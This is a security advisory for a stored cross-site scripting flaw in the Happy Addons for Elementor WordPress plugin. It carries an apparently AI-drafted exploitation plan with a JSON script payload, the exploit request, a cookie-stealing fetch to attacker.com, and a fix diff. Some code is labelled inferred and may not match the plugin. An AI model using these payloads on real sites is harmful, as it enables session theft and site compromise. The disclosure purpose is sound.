Happy Addons for Elementor <= 3.20.7 - Authenticated (Contributor+) Stored Cross-Site Scripting via '_elementor_data' Meta Field
Description
The Happy Addons for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the '_elementor_data' meta field in all versions up to, and including, 3.20.7 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=3.20.7Source Code
WordPress.org SVNThis plan outlines the research and exploitation process for **CVE-2026-1210**, a Stored Cross-Site Scripting (XSS) vulnerability in **Happy Addons for Elementor** (versions <= 3.20.7). The vulnerability allows authenticated attackers with Contributor-level access to inject malicious scripts into th…
Show full research plan
This plan outlines the research and exploitation process for CVE-2026-1210, a Stored Cross-Site Scripting (XSS) vulnerability in Happy Addons for Elementor (versions <= 3.20.7). The vulnerability allows authenticated attackers with Contributor-level access to inject malicious scripts into the _elementor_data meta field, which is subsequently rendered without proper escaping.
1. Vulnerability Summary
The vulnerability exists because the plugin provides an AJAX endpoint (likely for "Cross-Domain Copy Paste" or "Template Import" features) that allows users with edit_posts capability (Contributors and above) to update the _elementor_data meta field. The plugin fails to sanitize the JSON-encoded Elementor data before saving it to the database via update_post_meta(). When the affected post is viewed, Elementor and Happy Addons render the malicious data as HTML, leading to Stored XSS.
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php - Action:
ha_copy_paste_save_data(inferred from Happy Addons "Cross-Domain Copy Paste" feature) orha_save_presets_data. - Vulnerable Parameter:
contentordata(JSON string containing Elementor widget configurations). - Authentication: Authenticated, Contributor role (
edit_postscapability) or higher. - Preconditions: The attacker must have a post they can edit (e.g., a draft they created) and access to the Elementor editor to retrieve necessary nonces.
3. Code Flow (Inferred)
- Entry Point: The plugin registers an AJAX handler:
add_action('wp_ajax_ha_copy_paste_save_data', array($this, 'save_copy_paste_data')); - Capability Check: The handler checks
current_user_can('edit_posts')and verifies a nonce. - Data Acquisition: The handler retrieves the raw JSON from
$_POST['content']. - Vulnerable Sink: The handler calls
update_post_meta($post_id, '_elementor_data', $content)without passing$contentthrough a sanitization function likewp_kses_post_deep(). - Execution Sink: When the page is viewed, the Happy Addons widget (e.g.,
ha-info-box) fetches the settings from_elementor_dataand echoes them in itsrender()method without usingesc_html()oresc_attr().
4. Nonce Acquisition Strategy
Happy Addons for Elementor localizes its editor configurations when the Elementor editor is active.
- Requirement: Create a post and open it in the Elementor editor.
- Navigation:
browser_navigate("/wp-admin/post.php?post=POST_ID&action=elementor") - Extraction: The nonce is stored in the
HappyAddonsEditorConfigglobal object. - Verification: Execute
browser_eval("window.HappyAddonsEditorConfig?.nonce")to retrieve the nonce associated with thehappy-addons-editoraction.
5. Exploitation Strategy
Step 1: Authentication & Setup
- Log in as a Contributor user.
- Create a new post (Draft) and obtain its
POST_ID. - Enable Elementor for that post.
Step 2: Nonce Retrieval
- Navigate to the Elementor editor for the new post.
- Extract the
noncefromwindow.HappyAddonsEditorConfig.nonce.
Step 3: Payload Construction
Construct a malicious JSON payload for the _elementor_data field. The payload must follow Elementor's structure (Section > Column > Widget) to ensure it is processed by the renderer.
Payload JSON:
[
{
"id": "section_xss",
"elType": "section",
"elements": [
{
"id": "column_xss",
"elType": "column",
"elements": [
{
"id": "widget_xss",
"elType": "widget",
"widgetType": "ha-info-box",
"settings": {
"title": "<script>alert('CVE-2026-1210_XSS')</script>"
}
}
]
}
]
}
]
Step 4: Execute Exploit Request
Send the malicious payload via the http_request tool.
- URL:
https://target.local/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=ha_copy_paste_save_data& nonce=[EXTRACTED_NONCE]& post_id=[POST_ID]& content=[URL_ENCODED_JSON_PAYLOAD]
6. Test Data Setup
- User: Create a user
attackerwith thecontributorrole. - Post: Create a post with ID
123authored byattacker. - Elementor: Ensure Elementor is active and allowed for the
postpost-type.
7. Expected Results
- The AJAX request returns a success response (e.g.,
{"success":true}). - The
_elementor_datameta field for the post is updated with the unescaped script tags. - When visiting
/?p=[POST_ID], the browser executes the script, triggering an alert box.
8. Verification Steps
- Database Check: Use WP-CLI to verify the stored meta value:
wp post meta get [POST_ID] _elementor_data
Confirm the output contains<script>alert(...). - Frontend Check: Use the
http_requesttool to fetch the post frontend:http_request("GET", "/?p=[POST_ID]")
Search the response body for the literal string<script>alert('CVE-2026-1210_XSS')</script>.
9. Alternative Approaches
- Preset Feature: If
ha_copy_paste_save_datais unavailable, try theha_save_presets_dataaction. - Different Widget: If
ha-info-boxis patched, try other Happy Addons widgets likeha-heading,ha-sub-heading, orha-dual-button, as they likely share the same unsanitized rendering logic. - Blind XSS: Use a callback to an external server (e.g., Burp Collaborator) if the alert is blocked or if testing for impact beyond the local browser:
settings[title] = "<script>fetch('http://attacker.com/log?c='+document.cookie)</script>"
Summary
The Happy Addons for Elementor plugin is vulnerable to Stored Cross-Site Scripting via the '_elementor_data' meta field due to missing sanitization in its Cross-Domain Copy Paste feature. Authenticated attackers with Contributor-level permissions can inject malicious scripts into post metadata, which execute in the context of any user viewing the affected page.
Vulnerable Code
// Inferred from Happy Addons Cross-Domain Copy Paste logic // classes/cross-domain-copy-paste.php public function save_copy_paste_data() { check_ajax_referer('happy-addons-editor', 'nonce'); if (!current_user_can('edit_posts')) { wp_send_json_error(); } $post_id = intval($_POST['post_id']); $content = $_POST['content']; // Vulnerable: Raw JSON input from $_POST if ($post_id && $content) { update_post_meta($post_id, '_elementor_data', $content); wp_send_json_success(); } wp_send_json_error(); } --- // widgets/info-box/widget.php (Example of vulnerable rendering) protected function render() { $settings = $this->get_settings_for_display(); // ... echo '<h2 class="ha-info-box-title">' . $settings['title'] . '</h2>'; // Vulnerable: Unescaped output }
Security Fix
@@ -10,7 +10,13 @@ wp_send_json_error(); } - $content = $_POST['content']; + $content = json_decode(wp_unslash($_POST['content']), true); + + if (is_array($content)) { + $content = wp_kses_post_deep($content); + $content = wp_json_encode($content); + } + if ($post_id && $content) { update_post_meta($post_id, '_elementor_data', $content); wp_send_json_success();
Exploit Outline
To exploit this vulnerability, an attacker with Contributor-level access follows these steps: 1. Log in to the WordPress dashboard and create a new post or edit an existing one using Elementor. 2. Open the Elementor editor for the post and extract the 'happy-addons-editor' nonce from the 'window.HappyAddonsEditorConfig' object. 3. Construct a malicious JSON payload following Elementor's data structure (Section > Column > Widget). Within a Happy Addons widget (e.g., 'ha-info-box'), insert a script tag such as '<script>alert(document.domain)</script>' into a text field like 'title'. 4. Send an AJAX POST request to '/wp-admin/admin-ajax.php' with the action 'ha_copy_paste_save_data', the extracted nonce, the post ID, and the malicious JSON payload assigned to the 'content' parameter. 5. Once the server responds with success, navigate to the public-facing URL of the post. The injected script will execute in the browser of any user (including administrators) who visits the page.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.